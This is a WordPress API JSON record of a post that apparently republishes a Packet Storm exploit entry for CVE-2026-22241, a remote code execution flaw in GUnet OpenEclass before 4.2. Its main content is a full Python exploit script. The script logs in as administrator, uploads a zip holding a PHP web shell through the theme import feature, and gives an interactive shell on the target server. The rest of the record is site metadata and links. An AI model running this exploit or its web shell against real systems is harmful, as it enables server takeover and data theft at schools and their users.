{"id":51607,"date":"2026-05-05T17:49:15","date_gmt":"2026-05-05T17:49:15","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=51607"},"modified":"2026-05-05T17:49:15","modified_gmt":"2026-05-05T17:49:15","slug":"gunet-openeclass-e-learning-remote-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=51607","title":{"rendered":"\ud83d\udcc4 GUnet OpenEclass E-learning Remote Code Execution_PACKETSTORM:220380"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-05T22:00:49&#8243;,&#8221;description&#8221;:&#8221;GUnet OpenEclass E-learning versions prior to 4.2 suffer from a remote code execution vulnerability&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-05T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-05T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 GUnet OpenEclass E-learning Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:220380&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-22241&#8243;],&#8221;sourceData&#8221;:&#8221;# Exploit Title: GUnet OpenEclass E-learning platform \\u003c 4.2 &#8211; Remote Code Execution (RCE) \\n    # Date: 2026-01-08\\n    # Exploit Author: Ashif Iqubal\\n    # Vendor Homepage: https:\/\/www.openeclass.org\/\\n    # Software Link: https:\/\/download.openeclass.org\/files\/4.1\/\\n    # Version: \\u003c 4.2\\n    # Tested on: Debian Ubuntu (Apache\/2.4.58, PHP 8.3.6, MySQL 8.0.40-0ubuntu0.24.04.1)\\n    # CVE: CVE-2026-22241\\n    \\n    import os\\n    import sys\\n    import zipfile\\n    import requests\\n    import argparse\\n    from bs4 import BeautifulSoup\\n    from argparse import RawTextHelpFormatter\\n    \\n    RED = &#8216;\\\\033[91m&#8217;\\n    GREEN = &#8216;\\\\033[92m&#8217;\\n    YELLOW = &#8216;\\\\033[93m&#8217;\\n    RESET = &#8216;\\\\033[0m&#8217;\\n    ORANGE = &#8216;\\\\033[38;5;208m&#8217;\\n    \\n    MALICIOUS_PAYLOAD = \\&#8221;\\&#8221;\\&#8221;\\\\\\n    \\u003c?php\\n    \\n    if(isset($_REQUEST[&#8216;cmd&#8217;])){\\n            $cmd = ($_REQUEST[&#8216;cmd&#8217;]);\\n            system($cmd);\\n            die;\\n    }\\n    \\n    ?\\u003e\\n    \\&#8221;\\&#8221;\\&#8221;\\n    \\n    def banner():\\n        print(f&#8221;'{YELLOW}\\n        \u250f\u2501\u2578\u257b \u257b\u250f\u2501\u2578   \u250f\u2501\u2513\u250f\u2501\u2513\u250f\u2501\u2513\u250f\u2501\u2513   \u250f\u2501\u2513\u250f\u2501\u2513\u250f\u2501\u2513\u257b \u257b\u257a\u2513 \\n        \u2503  \u2503\u250f\u251b\u2523\u2578 \u257a\u2501\u2578\u250f\u2501\u251b\u2503\u2503\u2503\u250f\u2501\u251b\u2523\u2501\u2513\u257a\u2501\u2578\u250f\u2501\u251b\u250f\u2501\u251b\u250f\u2501\u251b\u2517\u2501\u252b \u2503 \\n        \u2517\u2501\u2578\u2517\u251b \u2517\u2501\u2578   \u2517\u2501\u2578\u2517\u2501\u251b\u2517\u2501\u2578\u2517\u2501\u251b   \u2517\u2501\u2578\u2517\u2501\u2578\u2517\u2501\u2578  \u2579\u257a\u253b\u2578\\n        {RED}                        Author: @Ashif1337 {RESET}&#8221;&#8217;)\\n    \\n    def clean_server(openeclass,filename):\\n        print(f\\&#8221;{ORANGE}[+] Removing Backd00r&#8230;{RESET}\\&#8221;)\\n        # Remove the uploaded files\\n        requests.get(f\\&#8221;{openeclass}\/courses\/theme_data\/{filename}?cmd=rm%20{filename}\\&#8221;)\\n        print(f\\&#8221;{GREEN}[+] Server cleaned successfully!{RESET}\\&#8221;)\\n    \\n    \\n    def execute_command(openeclass, filename):\\n        while True:\\n            # Prompt for user input with \\&#8221;eclass\\&#8221;\\n            cmd = input(f\\&#8221;{RED}[{YELLOW}eClass{RED}]~\\u003e {RESET}\\&#8221;)\\n    \\n            # Check if the command is &#8216;quit&#8217;, then break the loop\\n            if cmd.lower() == \\&#8221;quit\\&#8221;:\\n                clean_server(openeclass,filename)\\n                print(f\\&#8221;{ORANGE}[+] Exiting&#8230;{RESET}\\&#8221;)\\n                sys.exit()\\n    \\n            # Construct the URL with the user-provided command\\n            url = f\\&#8221;{openeclass}\/courses\/theme_data\/{filename}?cmd={cmd}\\&#8221;\\n    \\n            # Execute the GET request\\n            try:\\n                response = requests.get(url)\\n    \\n                # Check if the request was successful\\n                if response.status_code == 200:\\n                    # Print the response text\\n                    print(f\\&#8221;{GREEN}{response.text}{RESET}\\&#8221;)\\n    \\n            except requests.exceptions.RequestException as e:\\n                # Print any error that occurs during the request\\n                print(f\\&#8221;{RED}An error occurred: {e}{RESET}\\&#8221;)\\n    \\n    \\n    def upload_web_shell(openeclass, username, password):\\n        login_url = f'{openeclass}\/?login_page=1&#8217;\\n        login_page_url = f'{openeclass}\/main\/login_form.php?next=%2Fmain%2Fportfolio.php&#8217;\\n    \\n        # Login credentials\\n        payload = {\\n            &#8216;next&#8217;: &#8216;\/main\/portfolio.php&#8217;,\\n            &#8216;uname&#8217;: f'{username}&#8217;,\\n            &#8216;pass&#8217;: f'{password}&#8217;,\\n            &#8216;submit&#8217;: &#8216;Enter&#8217;\\n        }\\n    \\n        headers = {\\n            &#8216;Referer&#8217;: login_page_url,\\n        }\\n    \\n        # Use a session to ensure cookies are handled correctly\\n        with requests.Session() as session:\\n            # (Optional) Initially visit the login page if needed to get a fresh session cookie or any other required tokens\\n            session.get(login_page_url)\\n    \\n            # Post the login credentials\\n            response = session.post(login_url, headers=headers, data=payload)\\n            \\n    \\n            # Create a zip file containing the malicious payload\\n            zip_file_path = &#8216;poc.zip&#8217;\\n            with zipfile.ZipFile(zip_file_path, &#8216;w&#8217;) as zipf:\\n                zipf.writestr(&#8216;evil.php&#8217;, MALICIOUS_PAYLOAD.encode())\\n    \\n            # Get token\\n            token_url = session.get(f'{openeclass}\/modules\/admin\/theme_options.php&#8217;,allow_redirects=False)\\n    \\n            if token_url.status_code != 200 : \\n                print(f\\&#8221;{RED}[X] Invalid Administrator Password!{RESET}\\&#8221;)\\n                print(f\\&#8221;{RED}[X] Exiting&#8230;{RESET}\\&#8221;)\\n                return False\\n            \\n            upload_token = BeautifulSoup(token_url.text, &#8216;html.parser&#8217;).select_one(&#8216;input[name=\\&#8221;token\\&#8221;]&#8217;)[&#8216;value&#8217;]\\n            \\n            # Upload the zip file\\n            url = f'{openeclass}\/modules\/admin\/theme_options.php&#8217;\\n            files = {\\n                &#8216;themeFile&#8217;: (&#8216;poc.zip&#8217;, open(zip_file_path, &#8216;rb&#8217;), &#8216;application\/zip&#8217;),\\n                &#8216;import&#8217;: (None, &#8221;),\\n                &#8216;token&#8217;: (None, upload_token)\\n            }\\n            response = session.post(url, files=files)\\n    \\n            # Clean up the poc zip file\\n            os.remove(zip_file_path)\\n    \\n            # Check if the upload was successful\\n            if response.status_code == 200:\\n                print(f\\&#8221;{GREEN}[+] Payload uploaded successfully!{RESET}\\&#8221;)\\n                print(f\\&#8221;{GREEN}[+] Type &#8216;quit&#8217; to exit web shell!{RESET}\\&#8221;)\\n                return True\\n            else:\\n                print(f\\&#8221;{RED}[X] Failed to upload payload.{RESET}\\&#8221;)\\n                print(f\\&#8221;{RED}[X] Exiting&#8230;{RESET}\\&#8221;)\\n                return False\\n    \\n    \\n    \\n    \\n    def main():\\n        parser = argparse.ArgumentParser(description=\\&#8221;Open eClass Unrestricted File Upload RCE Exploit [ CVE-2026-22241 ]\\\\nExample: CVE-2026-22241.py -t http:\/\/127.0.0.1\/openeclass -u admin -p adminpassword\\&#8221;,formatter_class=RawTextHelpFormatter)\\n        parser.add_argument(&#8216;-t&#8217;, &#8216;&#8211;eclassUrl&#8217;, required=True, help=\\&#8221;Target URL of the Open eClass.\\&#8221;)\\n        parser.add_argument(&#8216;-u&#8217;, &#8216;&#8211;username&#8217;, required=True, help=\\&#8221;Admin Username for login.\\&#8221;)\\n        parser.add_argument(&#8216;-p&#8217;, &#8216;&#8211;password&#8217;, required=True, help=\\&#8221;Admin Password for login.\\&#8221;)\\n        args = parser.parse_args()\\n    \\n        banner()\\n        # Running the main login and execute command function\\n        if upload_web_shell(args.eclassUrl, args.username, args.password):\\n            execute_command(args.eclassUrl, &#8216;evil.php&#8217;)\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/220380&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:8.6,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:H\/UI:N\/VC:H\/SC:N\/VI:H\/SI:N\/VA:H\/SA:N\/E:P&#8221;,&#8221;version&#8221;:&#8221;4.0&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/220380\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-05T22:00:49&#8243;,&#8221;description&#8221;:&#8221;GUnet OpenEclass E-learning versions prior to 4.2 suffer from a remote code execution vulnerability&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-05T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-05T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 GUnet OpenEclass E-learning Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:220380&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-22241&#8243;],&#8221;sourceData&#8221;:&#8221;# Exploit Title: GUnet OpenEclass E-learning&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,81,12,15,13,53,7,11,5],"class_list":["post-51607","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-86","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 GUnet OpenEclass E-learning Remote Code Execution_PACKETSTORM:220380 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=51607\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 GUnet OpenEclass E-learning Remote Code Execution_PACKETSTORM:220380 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-05-05T22:00:49&#8243;,&#8221;description&#8221;:&#8221;GUnet OpenEclass E-learning versions prior to 4.2 suffer from a remote code execution vulnerability&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-05T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-05T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 GUnet OpenEclass E-learning Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:220380&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-22241&#8243;],&#8221;sourceData&#8221;:&#8221;# Exploit Title: GUnet OpenEclass E-learning...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=51607\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-05-05T17:49:15+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51607#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51607\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 GUnet OpenEclass E-learning Remote Code Execution_PACKETSTORM:220380\",\"datePublished\":\"2026-05-05T17:49:15+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51607\"},\"wordCount\":919,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-8.6\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=51607#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51607\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51607\",\"name\":\"\ud83d\udcc4 GUnet OpenEclass E-learning Remote Code Execution_PACKETSTORM:220380 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-05-05T17:49:15+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51607#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=51607\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51607#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 GUnet OpenEclass E-learning Remote Code Execution_PACKETSTORM:220380\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 GUnet OpenEclass E-learning Remote Code Execution_PACKETSTORM:220380 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=51607","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 GUnet OpenEclass E-learning Remote Code Execution_PACKETSTORM:220380 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-05-05T22:00:49&#8243;,&#8221;description&#8221;:&#8221;GUnet OpenEclass E-learning versions prior to 4.2 suffer from a remote code execution vulnerability&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-05T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-05T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 GUnet OpenEclass E-learning Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:220380&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-22241&#8243;],&#8221;sourceData&#8221;:&#8221;# Exploit Title: GUnet OpenEclass E-learning...","og_url":"https:\/\/zero.redgem.net\/?p=51607","og_site_name":"zero redgem","article_published_time":"2026-05-05T17:49:15+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=51607#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=51607"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 GUnet OpenEclass E-learning Remote Code Execution_PACKETSTORM:220380","datePublished":"2026-05-05T17:49:15+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=51607"},"wordCount":919,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-8.6","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=51607#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=51607","url":"https:\/\/zero.redgem.net\/?p=51607","name":"\ud83d\udcc4 GUnet OpenEclass E-learning Remote Code Execution_PACKETSTORM:220380 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-05-05T17:49:15+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=51607#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=51607"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=51607#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 GUnet OpenEclass E-learning Remote Code Execution_PACKETSTORM:220380"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/51607","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=51607"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/51607\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=51607"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=51607"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=51607"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}